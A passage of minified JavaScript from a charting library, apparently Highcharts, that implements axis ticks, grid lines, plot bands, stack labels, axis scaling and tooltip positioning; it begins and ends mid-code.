d=this.axis,e=d.options,f=d.chart.renderer,g=d.horiz,h=this.type,i=this.label,j=this.pos,k=e.labels,m=this.gridLine,l=h?h+\"Grid\":\"grid\",p=h?h+\"Tick\":\"tick\",s=e[l+\"LineWidth\"],n=e[l+\"LineColor\"],B=e[l+\"LineDashStyle\"],w=e[p+\"Length\"],l=e[p+\"Width\"]||0,q=e[p+\"Color\"],r=e[p+\"Position\"],\np=this.mark,t=k.step,v=!0,u=d.tickmarkOffset,P=this.getPosition(g,j,u,b),H=P.x,P=P.y,C=g&&H===d.pos||!g&&P===d.pos+d.len?-1:1,y=d.staggerLines;this.isActive=!0;if(s){j=d.getPlotLinePath(j+u,s*C,b,!0);if(m===x){m={stroke:n,\"stroke-width\":s};if(B)m.dashstyle=B;if(!h)m.zIndex=1;if(b)m.opacity=0;this.gridLine=m=s?f.path(j).attr(m).add(d.gridGroup):null}if(!b&&m&&j)m[this.isNew?\"attr\":\"animate\"]({d:j,opacity:c})}if(l&&w)r===\"inside\"&&(w=-w),d.opposite&&(w=-w),b=this.getMarkPath(H,P,w,l*C,g,f),p?p.animate({d:b,\nopacity:c}):this.mark=f.path(b).attr({stroke:q,\"stroke-width\":l,opacity:c}).add(d.axisGroup);if(i&&!isNaN(H))i.xy=P=this.getLabelPosition(H,P,i,g,k,u,a,t),this.isFirst&&!o(e.showFirstLabel,1)||this.isLast&&!o(e.showLastLabel,1)?v=!1:!y&&g&&k.overflow===\"justify\"&&!this.handleOverflow(a,P)&&(v=!1),t&&a%t&&(v=!1),v&&!isNaN(P.y)?(P.opacity=c,i[this.isNew?\"attr\":\"animate\"](P),this.isNew=!1):i.attr(\"y\",-9999)},destroy:function(){Ga(this,this.axis)}};ob.prototype={render:function(){var a=this,b=a.axis,\nc=b.horiz,d=(b.pointRange||0)/2,e=a.options,f=e.label,g=a.label,h=e.width,i=e.to,j=e.from,k=r(j)&&r(i),m=e.value,l=e.dashStyle,p=a.svgElem,s=[],n,B=e.color,w=e.zIndex,G=e.events,t=b.chart.renderer;b.isLog&&(j=ka(j),i=ka(i),m=ka(m));if(h){if(s=b.getPlotLinePath(m,h),d={stroke:B,\"stroke-width\":h},l)d.dashstyle=l}else if(k){if(j=q(j,b.min-d),i=K(i,b.max+d),s=b.getPlotBandPath(j,i,e),d={fill:B},e.borderWidth)d.stroke=e.borderColor,d[\"stroke-width\"]=e.borderWidth}else return;if(r(w))d.zIndex=w;if(p)s?\np.animate({d:s},null,p.onGetPath):(p.hide(),p.onGetPath=function(){p.show()});else if(s&&s.length&&(a.svgElem=p=t.path(s).attr(d).add(),G))for(n in e=function(b){p.on(b,function(c){G[b].apply(a,[c])})},G)e(n);if(f&&r(f.text)&&s&&s.length&&b.width>0&&b.height>0){f=y({align:c&&k&&\"center\",x:c?!k&&4:10,verticalAlign:!c&&k&&\"middle\",y:c?k?16:10:k?6:-4,rotation:c&&!k&&90},f);if(!g)a.label=g=t.text(f.text,0,0).attr({align:f.textAlign||f.align,rotation:f.rotation,zIndex:w}).css(f.style).add();b=[s[1],s[4],\no(s[6],s[1])];s=[s[2],s[5],o(s[7],s[2])];c=Fa(b);k=Fa(s);g.align(f,!1,{x:c,y:k,width:pa(b)-c,height:pa(s)-k});g.show()}else g&&g.hide();return a},destroy:function(){ga(this.axis.plotLinesAndBands,this);Ga(this,this.axis)}};Ib.prototype={destroy:function(){Ga(this,this.axis)},setTotal:function(a){this.cum=this.total=a},render:function(a){var b=this.options,c=b.formatter.call(this);this.label?this.label.attr({text:c,visibility:\"hidden\"}):this.label=this.axis.chart.renderer.text(c,0,0,b.useHTML).css(b.style).attr({align:this.textAlign,\nrotation:b.rotation,visibility:\"hidden\"}).add(a)},setOffset:function(a,b){var c=this.axis,d=c.chart,e=d.inverted,f=this.isNegative,g=c.translate(this.percent?100:this.total,0,0,0,1),c=c.translate(0),c=Q(g-c),h=d.xAxis[0].translate(this.x)+a,i=d.plotHeight,f={x:e?f?g:g-c:h,y:e?i-h-b:f?i-g-c:i-g,width:e?c:b,height:e?b:c};if(e=this.label)e.align(this.alignOptions,null,f),f=e.alignAttr,e.attr({visibility:this.options.crop===!1||d.isInsidePlot(f.x,f.y)?Z?\"inherit\":\"visible\":\"hidden\"})}};ab.prototype={defaultOptions:{dateTimeLabelFormats:{millisecond:\"%H:%M:%S.%L\",\nsecond:\"%H:%M:%S\",minute:\"%H:%M\",hour:\"%H:%M\",day:\"%e. %b\",week:\"%e. %b\",month:\"%b '%y\",year:\"%Y\"},endOnTick:!1,gridLineColor:\"#C0C0C0\",labels:M,lineColor:\"#C0D0E0\",lineWidth:1,minPadding:0.01,maxPadding:0.01,minorGridLineColor:\"#E0E0E0\",minorGridLineWidth:1,minorTickColor:\"#A0A0A0\",minorTickLength:2,minorTickPosition:\"outside\",startOfWeek:1,startOnTick:!1,tickColor:\"#C0D0E0\",tickLength:5,tickmarkPlacement:\"between\",tickPixelInterval:100,tickPosition:\"outside\",tickWidth:1,title:{align:\"middle\",style:{color:\"#4d759e\",\nfontWeight:\"bold\"}},type:\"linear\"},defaultYAxisOptions:{endOnTick:!0,gridLineWidth:1,tickPixelInterval:72,showLastLabel:!0,labels:{align:\"right\",x:-8,y:3},lineWidth:0,maxPadding:0.05,minPadding:0.05,startOnTick:!0,tickWidth:0,title:{rotation:270,text:\"Values\"},stackLabels:{enabled:!1,formatter:function(){return this.total},style:M.style}},defaultLeftAxisOptions:{labels:{align:\"right\",x:-8,y:null},title:{rotation:270}},defaultRightAxisOptions:{labels:{align:\"left\",x:8,y:null},title:{rotation:90}},\ndefaultBottomAxisOptions:{labels:{align:\"center\",x:0,y:14},title:{rotation:0}},defaultTopAxisOptions:{labels:{align:\"center\",x:0,y:-5},title:{rotation:0}},init:function(a,b){var c=b.isX;this.horiz=a.inverted?!c:c;this.xOrY=(this.isXAxis=c)?\"x\":\"y\";this.opposite=b.opposite;this.side=this.horiz?this.opposite?0:2:this.opposite?1:3;this.setOptions(b);var d=this.options,e=d.type;this.labelFormatter=d.labels.formatter||this.defaultLabelFormatter;this.staggerLines=this.horiz&&d.labels.staggerLines;this.userOptions=\nb;this.minPixelPadding=0;this.chart=a;this.reversed=d.reversed;this.zoomEnabled=d.zoomEnabled!==!1;this.categories=d.categories||e===\"category\";this.isLog=e===\"logarithmic\";this.isDatetimeAxis=e===\"datetime\";this.isLinked=r(d.linkedTo);this.tickmarkOffset=this.categories&&d.tickmarkPlacement===\"between\"?0.5:0;this.ticks={};this.minorTicks={};this.plotLinesAndBands=[];this.alternateBands={};this.len=0;this.minRange=this.userMinRange=d.minRange||d.maxZoom;this.range=d.range;this.offset=d.offset||0;\nthis.stacks={};this._stacksTouched=0;this.min=this.max=null;var f,d=this.options.events;la(this,a.axes)===-1&&(a.axes.push(this),a[c?\"xAxis\":\"yAxis\"].push(this));this.series=this.series||[];if(a.inverted&&c&&this.reversed===x)this.reversed=!0;this.removePlotLine=this.removePlotBand=this.removePlotBandOrLine;for(f in d)J(this,f,d[f]);if(this.isLog)this.val2lin=ka,this.lin2val=da},setOptions:function(a){this.options=y(this.defaultOptions,this.isXAxis?{}:this.defaultYAxisOptions,[this.defaultTopAxisOptions,\nthis.defaultRightAxisOptions,this.defaultBottomAxisOptions,this.defaultLeftAxisOptions][this.side],y(N[this.isXAxis?\"xAxis\":\"yAxis\"],a))},update:function(a,b){var c=this.chart,a=c.options[this.xOrY+\"Axis\"][this.options.index]=y(this.userOptions,a);this.destroy();this._addedPlotLB=!1;this.init(c,a);c.isDirtyBox=!0;o(b,!0)&&c.redraw()},remove:function(a){var b=this.chart,c=this.xOrY+\"Axis\";n(this.series,function(a){a.remove(!1)});ga(b.axes,this);ga(b[c],this);b.options[c].splice(this.options.index,\n1);this.destroy();b.isDirtyBox=!0;o(a,!0)&&b.redraw()},defaultLabelFormatter:function(){var a=this.axis,b=this.value,c=a.categories,d=this.dateTimeLabelFormat,e=N.lang.numericSymbols,f=e&&e.length,g,h=a.options.labels.format,a=a.isLog?b:a.tickInterval;if(h)g=Ea(h,this);else if(c)g=b;else if(d)g=Ua(d,b);else if(f&&a>=1E3)for(;f--&&g===x;)c=Math.pow(1E3,f+1),a>=c&&e[f]!==null&&(g=Na(b/c,-1)+e[f]);g===x&&(g=b>=1E3?Na(b,0):Na(b,-1));return g},getSeriesExtremes:function(){var a=this,b=a.chart,c=a.stacks,\nd=[],e=[],f=a._stacksTouched+=1,g,h;a.hasVisibleSeries=!1;a.dataMin=a.dataMax=null;n(a.series,function(g){if(g.visible||!b.options.chart.ignoreHiddenSeries){var j=g.options,k,m,l,p,s,n,B,w,G,t=j.threshold,v,u=[],y=0;a.hasVisibleSeries=!0;if(a.isLog&&t<=0)t=j.threshold=null;if(a.isXAxis){if(j=g.xData,j.length)a.dataMin=K(o(a.dataMin,j[0]),Fa(j)),a.dataMax=q(o(a.dataMax,j[0]),pa(j))}else{var P,H,C,A=g.cropped,z=g.xAxis.getExtremes(),E=!!g.modifyValue;k=j.stacking;a.usePercentage=k===\"percent\";if(k)s=\nj.stack,p=g.type+o(s,\"\"),n=\"-\"+p,g.stackKey=p,m=d[p]||[],d[p]=m,l=e[n]||[],e[n]=l;if(a.usePercentage)a.dataMin=0,a.dataMax=99;j=g.processedXData;B=g.processedYData;v=B.length;for(h=0;h<v;h++){w=j[h];G=B[h];if(k)H=(P=G<t)?l:m,C=P?n:p,r(H[w])?(H[w]=ia(H[w]+G),G=[G,H[w]]):H[w]=G,c[C]||(c[C]={}),c[C][w]||(c[C][w]=new Ib(a,a.options.stackLabels,P,w,s,k)),c[C][w].setTotal(H[w]),c[C][w].touched=f;if(G!==null&&G!==x&&(!a.isLog||G.length||G>0))if(E&&(G=g.modifyValue(G)),g.getExtremesFromAll||A||(j[h+1]||w)>=\nz.min&&(j[h-1]||w)<=z.max)if(w=G.length)for(;w--;)G[w]!==null&&(u[y++]=G[w]);else u[y++]=G}if(!a.usePercentage&&u.length)g.dataMin=k=Fa(u),g.dataMax=g=pa(u),a.dataMin=K(o(a.dataMin,k),k),a.dataMax=q(o(a.dataMax,g),g);if(r(t))if(a.dataMin>=t)a.dataMin=t,a.ignoreMinPadding=!0;else if(a.dataMax<t)a.dataMax=t,a.ignoreMaxPadding=!0}}});for(g in c)for(h in c[g])c[g][h].touched<f&&(c[g][h].destroy(),delete c[g][h])},translate:function(a,b,c,d,e,f){var g=this.len,h=1,i=0,j=d?this.oldTransA:this.transA,d=\nd?this.oldMin:this.min,k=this.minPixelPadding,e=(this.options.ordinal||this.isLog&&e)&&this.lin2val;if(!j)j=this.transA;c&&(h*=-1,i=g);this.reversed&&(h*=-1,i-=h*g);b?(a=a*h+i,a-=k,a=a/j+d,e&&(a=this.lin2val(a))):(e&&(a=this.val2lin(a)),a=h*(a-d)*j+i+h*k+(f?j*this.pointRange/2:0));return a},toPixels:function(a,b){return this.translate(a,!1,!this.horiz,null,!0)+(b?0:this.pos)},toValue:function(a,b){return this.translate(a-(b?0:this.pos),!0,!this.horiz,null,!0)},getPlotLinePath:function(a,b,c,d){var e=\nthis.chart,f=this.left,g=this.top,h,i,j,a=this.translate(a,null,null,c),k=c&&e.oldChartHeight||e.chartHeight,m=c&&e.oldChartWidth||e.chartWidth,l;h=this.transB;c=i=t(a+h);h=j=t(k-a-h);if(isNaN(a))l=!0;else if(this.horiz){if(h=g,j=k-this.bottom,c<f||c>f+this.width)l=!0}else if(c=f,i=m-this.right,h<g||h>g+this.height)l=!0;return l&&!d?null:e.renderer.crispLine([\"M\",c,h,\"L\",i,j],b||0)},getPlotBandPath:function(a,b){var c=this.getPlotLinePath(b),d=this.getPlotLinePath(a);d&&c?d.push(c[4],c[5],c[1],c[2]):\nd=null;return d},getLinearTickPositions:function(a,b,c){for(var d,b=ia(T(b/a)*a),c=ia(ja(c/a)*a),e=[];b<=c;){e.push(b);b=ia(b+a);if(b===d)break;d=b}return e},getLogTickPositions:function(a,b,c,d){var e=this.options,f=this.len,g=[];if(!d)this._minorAutoInterval=null;if(a>=0.5)a=t(a),g=this.getLinearTickPositions(a,b,c);else if(a>=0.08)for(var f=T(b),h,i,j,k,m,e=a>0.3?[1,2,4]:a>0.15?[1,2,4,6,8]:[1,2,3,4,5,6,7,8,9];f<c+1&&!m;f++){i=e.length;for(h=0;h<i&&!m;h++)j=ka(da(f)*e[h]),j>b&&(!d||k<=c)&&g.push(k),\nk>c&&(m=!0),k=j}else if(b=da(b),c=da(c),a=e[d?\"minorTickInterval\":\"tickInterval\"],a=o(a===\"auto\"?null:a,this._minorAutoInterval,(c-b)*(e.tickPixelInterval/(d?5:1))/((d?f/this.tickPositions.length:f)||1)),a=ib(a,null,I.pow(10,T(I.log(a)/I.LN10))),g=Ka(this.getLinearTickPositions(a,b,c),ka),!d)this._minorAutoInterval=a/5;if(!d)this.tickInterval=a;return g},getMinorTickPositions:function(){var a=this.options,b=this.tickPositions,c=this.minorTickInterval,d=[],e;if(this.isLog){e=b.length;for(a=1;a<e;a++)d=\nd.concat(this.getLogTickPositions(c,b[a-1],b[a],!0))}else if(this.isDatetimeAxis&&a.minorTickInterval===\"auto\")d=d.concat(Ab(yb(c),this.min,this.max,a.startOfWeek)),d[0]<this.min&&d.shift();else for(b=this.min+(b[0]-this.min)%c;b<=this.max;b+=c)d.push(b);return d},adjustForMinRange:function(){var a=this.options,b=this.min,c=this.max,d,e=this.dataMax-this.dataMin>=this.minRange,f,g,h,i,j;if(this.isXAxis&&this.minRange===x&&!this.isLog)r(a.min)||r(a.max)?this.minRange=null:(n(this.series,function(a){i=\na.xData;for(g=j=a.xIncrement?1:i.length-1;g>0;g--)if(h=i[g]-i[g-1],f===x||h<f)f=h}),this.minRange=K(f*5,this.dataMax-this.dataMin));if(c-b<this.minRange){var k=this.minRange;d=(k-c+b)/2;d=[b-d,o(a.min,b-d)];if(e)d[2]=this.dataMin;b=pa(d);c=[b+k,o(a.max,b+k)];if(e)c[2]=this.dataMax;c=Fa(c);c-b<k&&(d[0]=c-k,d[1]=o(a.min,c-k),b=pa(d))}this.min=b;this.max=c},setAxisTranslation:function(a){var b=this.max-this.min,c=0,d,e=0,f=0,g=this.linkedParent,h=this.transA;if(this.isXAxis)g?(e=g.minPointOffset,f=g.pointRangePadding):\nn(this.series,function(a){var g=a.pointRange,h=a.options.pointPlacement,m=a.closestPointRange;g>b&&(g=0);c=q(c,g);e=q(e,h?0:g/2);f=q(f,h===\"on\"?0:g);!a.noSharedTooltip&&r(m)&&(d=r(d)?K(d,m):m)}),g=this.ordinalSlope?this.ordinalSlope/d:1,this.minPointOffset=e*=g,this.pointRangePadding=f*=g,this.pointRange=K(c,b),this.closestPointRange=d;if(a)this.oldTransA=h;this.translationSlope=this.transA=h=this.len/(b+f||1);this.transB=this.horiz?this.left:this.bottom;this.minPixelPadding=h*e},setTickPositions:function(a){var b=\nthis,c=b.chart,d=b.options,e=b.isLog,f=b.isDatetimeAxis,g=b.isXAxis,h=b.isLinked,i=b.options.tickPositioner,j=d.maxPadding,k=d.minPadding,m=d.tickInterval,l=d.minTickInterval,p=d.tickPixelInterval,s=b.categories;h?(b.linkedParent=c[g?\"xAxis\":\"yAxis\"][d.linkedTo],c=b.linkedParent.getExtremes(),b.min=o(c.min,c.dataMin),b.max=o(c.max,c.dataMax),d.type!==b.linkedParent.options.type&&qa(11,1)):(b.min=o(b.userMin,d.min,b.dataMin),b.max=o(b.userMax,d.max,b.dataMax));if(e)!a&&K(b.min,o(b.dataMin,b.min))<=\n0&&qa(10,1),b.min=ia(ka(b.min)),b.max=ia(ka(b.max));if(b.range&&(b.userMin=b.min=q(b.min,b.max-b.range),b.userMax=b.max,a))b.range=null;b.beforePadding&&b.beforePadding();b.adjustForMinRange();if(!s&&!b.usePercentage&&!h&&r(b.min)&&r(b.max)&&(c=b.max-b.min)){if(!r(d.min)&&!r(b.userMin)&&k&&(b.dataMin<0||!b.ignoreMinPadding))b.min-=c*k;if(!r(d.max)&&!r(b.userMax)&&j&&(b.dataMax>0||!b.ignoreMaxPadding))b.max+=c*j}b.tickInterval=b.min===b.max||b.min===void 0||b.max===void 0?1:h&&!m&&p===b.linkedParent.options.tickPixelInterval?\nb.linkedParent.tickInterval:o(m,s?1:(b.max-b.min)*p/(b.len||1));g&&!a&&n(b.series,function(a){a.processData(b.min!==b.oldMin||b.max!==b.oldMax)});b.setAxisTranslation(!0);b.beforeSetTickPositions&&b.beforeSetTickPositions();if(b.postProcessTickInterval)b.tickInterval=b.postProcessTickInterval(b.tickInterval);if(!m&&b.tickInterval<l)b.tickInterval=l;if(!f&&!e&&(a=I.pow(10,T(I.log(b.tickInterval)/I.LN10)),!m))b.tickInterval=ib(b.tickInterval,null,a,d);b.minorTickInterval=d.minorTickInterval===\"auto\"&&\nb.tickInterval?b.tickInterval/5:d.minorTickInterval;b.tickPositions=i=d.tickPositions?[].concat(d.tickPositions):i&&i.apply(b,[b.min,b.max]);if(!i)i=f?(b.getNonLinearTimeTicks||Ab)(yb(b.tickInterval,d.units),b.min,b.max,d.startOfWeek,b.ordinalPositions,b.closestPointRange,!0):e?b.getLogTickPositions(b.tickInterval,b.min,b.max):b.getLinearTickPositions(b.tickInterval,b.min,b.max),b.tickPositions=i;if(!h)e=i[0],f=i[i.length-1],h=b.minPointOffset||0,d.startOnTick?b.min=e:b.min-h>e&&i.shift(),d.endOnTick?\nb.max=f:b.max+h<f&&i.pop(),i.length===1&&(b.min-=0.001,b.max+=0.001)},setMaxTicks:function(){var a=this.chart,b=a.maxTicks||{},c=this.tickPositions,d=this._maxTicksKey=[this.xOrY,this.pos,this.len].join(\"-\");if(!this.isLinked&&!this.isDatetimeAxis&&c&&c.length>(b[d]||0)&&this.options.alignTicks!==!1)b[d]=c.length;a.maxTicks=b},adjustTickAmount:function(){var a=this._maxTicksKey,b=this.tickPositions,c=this.chart.maxTicks;if(c&&c[a]&&!this.isDatetimeAxis&&!this.categories&&!this.isLinked&&this.options.alignTicks!==\n!1){var d=this.tickAmount,e=b.length;this.tickAmount=a=c[a];if(e<a){for(;b.length<a;)b.push(ia(b[b.length-1]+this.tickInterval));this.transA*=(e-1)/(a-1);this.max=b[b.length-1]}if(r(d)&&a!==d)this.isDirty=!0}},setScale:function(){var a=this.stacks,b,c,d,e;this.oldMin=this.min;this.oldMax=this.max;this.oldAxisLength=this.len;this.setAxisSize();e=this.len!==this.oldAxisLength;n(this.series,function(a){if(a.isDirtyData||a.isDirty||a.xAxis.isDirty)d=!0});if(e||d||this.isLinked||this.forceRedraw||this.userMin!==\nthis.oldUserMin||this.userMax!==this.oldUserMax)if(this.forceRedraw=!1,this.getSeriesExtremes(),this.setTickPositions(),this.oldUserMin=this.userMin,this.oldUserMax=this.userMax,!this.isDirty)this.isDirty=e||this.min!==this.oldMin||this.max!==this.oldMax;if(!this.isXAxis)for(b in a)for(c in a[b])a[b][c].cum=a[b][c].total;this.setMaxTicks()},setExtremes:function(a,b,c,d,e){var f=this,g=f.chart,c=o(c,!0),e=v(e,{min:a,max:b});D(f,\"setExtremes\",e,function(){f.userMin=a;f.userMax=b;f.isDirtyExtremes=!0;\nc&&g.redraw(d)})},zoom:function(a,b){this.allowZoomOutside||(a<=this.dataMin&&(a=x),b>=this.dataMax&&(b=x));this.displayBtn=a!==x||b!==x;this.setExtremes(a,b,!1,x,{trigger:\"zoom\"});return!0},setAxisSize:function(){var a=this.chart,b=this.options,c=b.offsetLeft||0,d=b.offsetRight||0,e=this.horiz,f,g;this.left=g=o(b.left,a.plotLeft+c);this.top=f=o(b.top,a.plotTop);this.width=c=o(b.width,a.plotWidth-c+d);this.height=b=o(b.height,a.plotHeight);this.bottom=a.chartHeight-b-f;this.right=a.chartWidth-c-g;\nthis.len=q(e?c:b,0);this.pos=e?g:f},getExtremes:function(){var a=this.isLog;return{min:a?ia(da(this.min)):this.min,max:a?ia(da(this.max)):this.max,dataMin:this.dataMin,dataMax:this.dataMax,userMin:this.userMin,userMax:this.userMax}},getThreshold:function(a){var b=this.isLog,c=b?da(this.min):this.min,b=b?da(this.max):this.max;c>a||a===null?a=c:b<a&&(a=b);return this.translate(a,0,1,0,1)},addPlotBand:function(a){this.addPlotBandOrLine(a,\"plotBands\")},addPlotLine:function(a){this.addPlotBandOrLine(a,\n\"plotLines\")},addPlotBandOrLine:function(a,b){var c=(new ob(this,a)).render(),d=this.userOptions;b&&(d[b]=d[b]||[],d[b].push(a));this.plotLinesAndBands.push(c);return c},getOffset:function(){var a=this,b=a.chart,c=b.renderer,d=a.options,e=a.tickPositions,f=a.ticks,g=a.horiz,h=a.side,i=b.inverted?[1,0,3,2][h]:h,j,k=0,m,l=0,p=d.title,s=d.labels,t=0,B=b.axisOffset,w=b.clipOffset,G=[-1,1,1,-1][h],v;a.hasData=b=a.hasVisibleSeries||r(a.min)&&r(a.max)&&!!e;a.showAxis=j=b||o(d.showEmpty,!0);if(!a.axisGroup)a.gridGroup=\nc.g(\"grid\").attr({zIndex:d.gridZIndex||1}).add(),a.axisGroup=c.g(\"axis\").attr({zIndex:d.zIndex||2}).add(),a.labelGroup=c.g(\"axis-labels\").attr({zIndex:s.zIndex||7}).add();if(b||a.isLinked)n(e,function(b){f[b]?f[b].addLabel():f[b]=new Ia(a,b)}),n(e,function(a){if(h===0||h===2||{1:\"left\",3:\"right\"}[h]===s.align)t=q(f[a].getLabelSize(),t)}),a.staggerLines&&(t+=(a.staggerLines-1)*16);else for(v in f)f[v].destroy(),delete f[v];if(p&&p.text&&p.enabled!==!1){if(!a.axisTitle)a.axisTitle=c.text(p.text,0,0,\np.useHTML).attr({zIndex:7,rotation:p.rotation||0,align:p.textAlign||{low:\"left\",middle:\"center\",high:\"right\"}[p.align]}).css(p.style).add(a.axisGroup),a.axisTitle.isNew=!0;if(j)k=a.axisTitle.getBBox()[g?\"height\":\"width\"],l=o(p.margin,g?5:10),m=p.offset;a.axisTitle[j?\"show\":\"hide\"]()}a.offset=G*o(d.offset,B[h]);a.axisTitleMargin=o(m,t+l+(h!==2&&t&&G*d.labels[g?\"y\":\"x\"]));B[h]=q(B[h],a.axisTitleMargin+k+G*a.offset);w[i]=q(w[i],d.lineWidth)},getLinePath:function(a){var b=this.chart,c=this.opposite,d=\nthis.offset,e=this.horiz,f=this.left+(c?this.width:0)+d;this.lineTop=d=b.chartHeight-this.bottom-(c?this.height:0)+d;c||(a*=-1);return b.renderer.crispLine([\"M\",e?this.left:f,e?d:this.top,\"L\",e?b.chartWidth-this.right:f,e?d:b.chartHeight-this.bottom],a)},getTitlePosition:function(){var a=this.horiz,b=this.left,c=this.top,d=this.len,e=this.options.title,f=a?b:c,g=this.opposite,h=this.offset,i=u(e.style.fontSize||12),d={low:f+(a?0:d),middle:f+d/2,high:f+(a?d:0)}[e.align],b=(a?c+this.height:b)+(a?1:\n-1)*(g?-1:1)*this.axisTitleMargin+(this.side===2?i:0);return{x:a?d:b+(g?this.width:0)+h+(e.x||0),y:a?b-(g?this.height:0)+h:d+(e.y||0)}},render:function(){var a=this,b=a.chart,c=b.renderer,d=a.options,e=a.isLog,f=a.isLinked,g=a.tickPositions,h=a.axisTitle,i=a.stacks,j=a.ticks,k=a.minorTicks,m=a.alternateBands,l=d.stackLabels,p=d.alternateGridColor,s=a.tickmarkOffset,o=d.lineWidth,B,w=b.hasRendered&&r(a.oldMin)&&!isNaN(a.oldMin);B=a.hasData;var q=a.showAxis,t,v;n([j,k,m],function(a){for(var b in a)a[b].isActive=\n!1});if(B||f)if(a.minorTickInterval&&!a.categories&&n(a.getMinorTickPositions(),function(b){k[b]||(k[b]=new Ia(a,b,\"minor\"));w&&k[b].isNew&&k[b].render(null,!0);k[b].render(null,!1,1)}),g.length&&(n(g.slice(1).concat([g[0]]),function(b,c){c=c===g.length-1?0:c+1;if(!f||b>=a.min&&b<=a.max)j[b]||(j[b]=new Ia(a,b)),w&&j[b].isNew&&j[b].render(c,!0),j[b].render(c,!1,1)}),s&&a.min===0&&(j[-1]||(j[-1]=new Ia(a,-1,null,!0)),j[-1].render(-1))),p&&n(g,function(b,c){if(c%2===0&&b<a.max)m[b]||(m[b]=new ob(a)),\nt=b+s,v=g[c+1]!==x?g[c+1]+s:a.max,m[b].options={from:e?da(t):t,to:e?da(v):v,color:p},m[b].render(),m[b].isActive=!0}),!a._addedPlotLB)n((d.plotLines||[]).concat(d.plotBands||[]),function(b){a.addPlotBandOrLine(b)}),a._addedPlotLB=!0;n([j,k,m],function(a){var c,d,e=[],f=xa?xa.duration||500:0,g=function(){for(d=e.length;d--;)a[e[d]]&&!a[e[d]].isActive&&(a[e[d]].destroy(),delete a[e[d]])};for(c in a)if(!a[c].isActive)a[c].render(c,!1,0),a[c].isActive=!1,e.push(c);a===m||!b.hasRendered||!f?g():f&&setTimeout(g,\nf)});if(o)B=a.getLinePath(o),a.axisLine?a.axisLine.animate({d:B}):a.axisLine=c.path(B).attr({stroke:d.lineColor,\"stroke-width\":o,zIndex:7}).add(a.axisGroup),a.axisLine[q?\"show\":\"hide\"]();if(h&&q)h[h.isNew?\"attr\":\"animate\"](a.getTitlePosition()),h.isNew=!1;if(l&&l.enabled){var u,y,d=a.stackTotalGroup;if(!d)a.stackTotalGroup=d=c.g(\"stack-labels\").attr({visibility:\"visible\",zIndex:6}).add();d.translate(b.plotLeft,b.plotTop);for(u in i)for(y in c=i[u],c)c[y].render(d)}a.isDirty=!1},removePlotBandOrLine:function(a){for(var b=\nthis.plotLinesAndBands,c=b.length;c--;)b[c].id===a&&b[c].destroy()},setTitle:function(a,b){this.update({title:a},b)},redraw:function(){var a=this.chart.pointer;a.reset&&a.reset(!0);this.render();n(this.plotLinesAndBands,function(a){a.render()});n(this.series,function(a){a.isDirty=!0})},setCategories:function(a,b){this.update({categories:a},b)},destroy:function(){var a=this,b=a.stacks,c;ba(a);for(c in b)Ga(b[c]),b[c]=null;n([a.ticks,a.minorTicks,a.alternateBands,a.plotLinesAndBands],function(a){Ga(a)});\nn(\"stackTotalGroup,axisLine,axisGroup,gridGroup,labelGroup,axisTitle\".split(\",\"),function(b){a[b]&&(a[b]=a[b].destroy())})}};pb.prototype={init:function(a,b){var c=b.borderWidth,d=b.style,e=u(d.padding);this.chart=a;this.options=b;this.crosshairs=[];this.now={x:0,y:0};this.isHidden=!0;this.label=a.renderer.label(\"\",0,0,b.shape,null,null,b.useHTML,null,\"tooltip\").attr({padding:e,fill:b.backgroundColor,\"stroke-width\":c,r:b.borderRadius,zIndex:8}).css(d).css({padding:0}).hide().add();$||this.label.shadow(b.shadow);\nthis.shared=b.shared},destroy:function(){n(this.crosshairs,function(a){a&&a.destroy()});if(this.label)this.label=this.label.destroy()},move:function(a,b,c,d){var e=this,f=e.now,g=e.options.animation!==!1&&!e.isHidden;v(f,{x:g?(2*f.x+a)/3:a,y:g?(f.y+b)/2:b,anchorX:g?(2*f.anchorX+c)/3:c,anchorY:g?(f.anchorY+d)/2:d});e.label.attr(f);if(g&&(Q(a-f.x)>1||Q(b-f.y)>1))clearTimeout(this.tooltipTimeout),this.tooltipTimeout=setTimeout(function(){e&&e.move(a,b,c,d)},32)},hide:function(){var a=this,b;if(!this.isHidden)b=\nthis.chart.hoverPoints,this.hideTimer=setTimeout(function(){a.label.fadeOut();a.isHidden=!0},o(this.options.hideDelay,500)),b&&n(b,function(a){a.setState()}),this.chart.hoverPoints=null},hideCrosshairs:function(){n(this.crosshairs,function(a){a&&a.hide()})},getAnchor:function(a,b){var c,d=this.chart,e=d.inverted,f=d.plotTop,g=0,h=0,i,a=ha(a);c=a[0].tooltipPos;this.followPointer&&b&&(b.chartX===x&&(b=d.pointer.normalize(b)),c=[b.chartX-d.plotLeft,b.chartY-f]);c||(n(a,function(a){i=a.series.yAxis;g+=\na.plotX;h+=(a.plotLow?(a.plotLow+a.plotHigh)/2:a.plotY)+(!e&&i?i.top-f:0)}),g/=a.length,h/=a.length,c=[e?d.plotWidth-h:g,this.shared&&!e&&a.length>1&&b?b.chartY-f:e?d.plotHeight-g:h]);return Ka(c,t)},getPosition:function(a,b,c){var d=this.chart,e=d.plotLeft,f=d.plotTop,g=d.plotWidth,h=d.plotHeight,i=o(this.options.distance,12),j=c.plotX,c=c.plotY,d=j+e+(d.inverted?i:-a-i),k=c-b+f+15,m;d<7&&(d=e+q(j,0)+i);d+a>e+g&&(d-=d+a-(e+g),k=c-b+f-i,m=!0);k<f+5&&(k=f+5,m&&c>=k&&c<=k+b&&(k=c+f+i));k+b>f+h&&(k=\nq(f,f+h-b-i));return{x:d,y:k}},defaultFormatter:function(a){var b=this.points||ha(this),c=b[0].series,d;d=[c.tooltipHeaderFormatter(b[0])];n(b,function(a){c=a.series;d.push(c.tooltipFormatter&&c.tooltipFormatter(a)||a.point.tooltipFormatter(c.tooltipOptions.pointFormat))});d.push(a.options.footerFormat||\"\");return d.join(\"\")},refresh:function(a,b){var c=this.chart,d=this.label,e=this.options,f,g,h,i={},j,k=[];j=e.formatter||this.defaultFormatter;var 